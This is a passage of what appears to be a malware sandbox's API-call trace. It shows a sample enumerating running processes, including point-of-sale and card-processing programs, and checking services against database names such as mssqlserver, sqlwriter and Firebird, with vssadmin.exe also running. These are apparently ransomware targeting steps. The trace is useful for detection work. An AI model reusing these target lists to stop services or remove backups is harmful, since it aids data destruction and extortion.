szExeFile="whatsapp.exe")) returned 1 [0070.048] lstrlenW (lpString="whatsapp.exe") returned 12 [0070.048] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0070.048] lstrlenW (lpString="winscp.exe") returned 10 [0070.048] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0070.049] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0070.049] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0070.049] lstrlenW (lpString="active-charge.exe") returned 17 [0070.049] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0070.049] lstrlenW (lpString="accupos.exe") returned 11 [0070.049] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0070.050] lstrlenW (lpString="afr38.exe") returned 9 [0070.050] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0070.050] lstrlenW (lpString="aldelo.exe") returned 10 [0070.050] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0070.051] lstrlenW (lpString="ccv_server.exe") returned 14 [0070.051] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0070.051] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0070.051] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0070.051] lstrlenW (lpString="creditservice.exe") returned 17 [0070.051] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0070.052] lstrlenW (lpString="edcsvr.exe") returned 10 [0070.052] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0070.052] lstrlenW (lpString="fpos.exe") returned 8 [0070.052] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0070.052] lstrlenW (lpString="isspos.exe") returned 10 [0070.052] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0070.053] lstrlenW (lpString="mxslipstream.exe") returned 16 [0070.053] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0070.053] lstrlenW (lpString="omnipos.exe") returned 11 [0070.053] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0070.053] lstrlenW (lpString="spcwin.exe") returned 10 [0070.053] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0070.054] lstrlenW (lpString="spgagentservice.exe") returned 19 [0070.054] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0070.054] lstrlenW (lpString="utg2.exe") returned 8 [0070.054] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0070.055] lstrlenW (lpString="nj_sh.exe") returned 9 [0070.055] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0070.055] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0070.055] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0070.055] lstrlenW (lpString="telecommunications.exe") returned 22 [0070.055] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0070.056] lstrlenW (lpString="sound banking.exe") returned 17 [0070.056] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.056] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0070.056] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.056] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0070.056] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.057] lstrlenW (lpString="taskhost.exe") returned 12 [0070.057] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0070.057] lstrlenW (lpString="winhost.exe") returned 11 [0070.057] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0070.057] lstrlenW (lpString="cmd.exe") returned 7 [0070.057] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0070.058] lstrlenW (lpString="conhost.exe") returned 11 [0070.058] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0070.058] lstrlenW (lpString="vssadmin.exe") returned 12 [0070.058] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0070.058] lstrlenW (lpString="VSSVC.exe") returned 9 [0070.060] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0070.060] CloseHandle (hObject=0x1b0) returned 1 [0070.060] Sleep (dwMilliseconds=0x1f4) [0070.721] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ffa0 [0070.721] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0070.722] GetLastError () returned 0xea [0070.722] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x395c758 [0070.722] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x395c758, cbBufSize=0x123e, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x395c758, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0070.723] CloseServiceHandle (hSCObject=0x52ffa0) returned 1 [0070.723] lstrlenW (lpString="Appinfo") returned 7 [0070.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0070.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0070.723] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0070.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0070.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0070.723] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0070.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.723] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0070.723] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0070.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0070.723] lstrlenW (lpString="AudioSrv") returned 8 [0070.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0070.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0070.723] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0070.723] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0070.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0070.723] lstrlenW (lpString="BFE") returned 3 [0070.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0070.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0070.723] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0070.723] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0070.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0070.723] lstrlenW (lpString="CryptSvc") returned 8 [0070.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0070.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0070.724] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0070.724] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0070.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0070.724] lstrlenW (lpString="CscService") returned 10 [0070.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0070.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0070.724] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0070.724] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0070.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0070.724] lstrlenW (lpString="DcomLaunch") returned 10 [0070.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.724] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0070.724] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0070.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0070.724] lstrlenW (lpString="Dhcp") returned 4 [0070.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0070.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0070.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0070.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0070.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0070.724] lstrlenW (lpString="Dnscache") returned 8 [0070.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0070.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0070.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0070.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0070.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0070.724] lstrlenW (lpString="DPS") returned 3 [0070.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0070.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0070.724] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0070.724] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0070.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0070.724] lstrlenW (lpString="eventlog") returned 8 [0070.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0070.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0070.725] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0070.725] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0070.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0070.725] lstrlenW (lpString="EventSystem") returned 11 [0070.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0070.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0070.725] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0070.725] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0070.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0070.725] lstrlenW (lpString="gpsvc") returned 5 [0070.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0070.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0070.725] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0070.725] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0070.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0070.725] lstrlenW (lpString="iphlpsvc") returned 8 [0070.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.725] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0070.725] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0070.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0070.725] lstrlenW (lpString="LanmanServer") returned 12 [0070.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0070.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0070.725] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0070.725] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0070.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0070.725] lstrlenW (lpString="LanmanWorkstation") returned 17 [0070.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.725] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0070.726] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0070.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0070.726] lstrlenW (lpString="lmhosts") returned 7 [0070.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0070.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0070.726] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0070.726] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0070.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0070.726] lstrlenW (lpString="MMCSS") returned 5 [0070.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0070.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0070.726] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0070.726] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0070.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0070.726] lstrlenW (lpString="MpsSvc") returned 6 [0070.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0070.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0070.726] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0070.726] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0070.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0070.726] lstrlenW (lpString="Netman") returned 6 [0070.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0070.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0070.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0070.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0070.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0070.727] lstrlenW (lpString="netprofm") returned 8 [0070.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0070.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0070.727] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0070.727] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0070.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0070.727] lstrlenW (lpString="NlaSvc") returned 6 [0070.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0070.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0070.727] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0070.727] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0070.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0070.727] lstrlenW (lpString="nsi") returned 3 [0070.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0070.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0070.727] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0070.727] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0070.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0070.727] lstrlenW (lpString="PcaSvc") returned 6 [0070.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0070.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0070.727] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0070.727] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0070.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0070.728] lstrlenW (lpString="PlugPlay") returned 8 [0070.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0070.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0070.728] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0070.728] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0070.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0070.728] lstrlenW (lpString="Power") returned 5 [0070.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0070.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0070.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0070.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0070.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0070.728] lstrlenW (lpString="ProfSvc") returned 7 [0070.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0070.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0070.728] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0070.728] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0070.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0070.728] lstrlenW (lpString="RpcEptMapper") returned 12 [0070.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.728] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0070.728] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0070.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0070.728] lstrlenW (lpString="RpcSs") returned 5 [0070.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0070.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0070.728] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0070.728] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0070.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0070.728] lstrlenW (lpString="SamSs") returned 5 [0070.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0070.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0070.729] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0070.729] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0070.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0070.729] lstrlenW (lpString="Schedule") returned 